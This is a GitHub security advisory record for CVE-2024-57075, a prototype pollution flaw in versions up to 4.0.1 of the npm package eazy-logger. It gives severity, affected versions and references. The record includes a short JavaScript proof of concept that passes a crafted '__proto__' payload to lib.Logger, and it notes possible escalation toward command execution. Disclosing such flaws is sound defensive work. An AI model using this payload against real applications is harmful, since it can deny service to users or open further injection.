{
  "schema_version": "1.4.0",
  "id": "GHSA-r7jx-5m6m-cpg9",
  "modified": "2025-04-07T12:34:01Z",
  "published": "2025-02-06T06:31:26Z",
  "aliases": [
    "CVE-2024-57075"
  ],
  "summary": "eazy-logger prototype pollution",
  "details": "A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.\n\nAn attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application's context.\n\n## Proof of Concept\n\n```js\n(async () => {\nconst lib = await import('eazy-logger');\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.Logger (JSON.parse('{\"__proto__\":{\"pollutedKey\":123}}'))\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "eazy-logger"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ]
        }
      ],
      "database_specific": {
        "last_known_affected_version_range": "<= 4.0.1"
      }
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57075"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shakyShane/eazy-logger/commit/a8baa6fe441d19ffa9916eba367016b7937a28fd"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tariqhawis/c601f7f85146510ca899a7406a03aba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shakyShane/eazy-logger"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-06T23:31:34Z",
    "nvd_published_at": "2025-02-05T22:15:31Z"
  }
}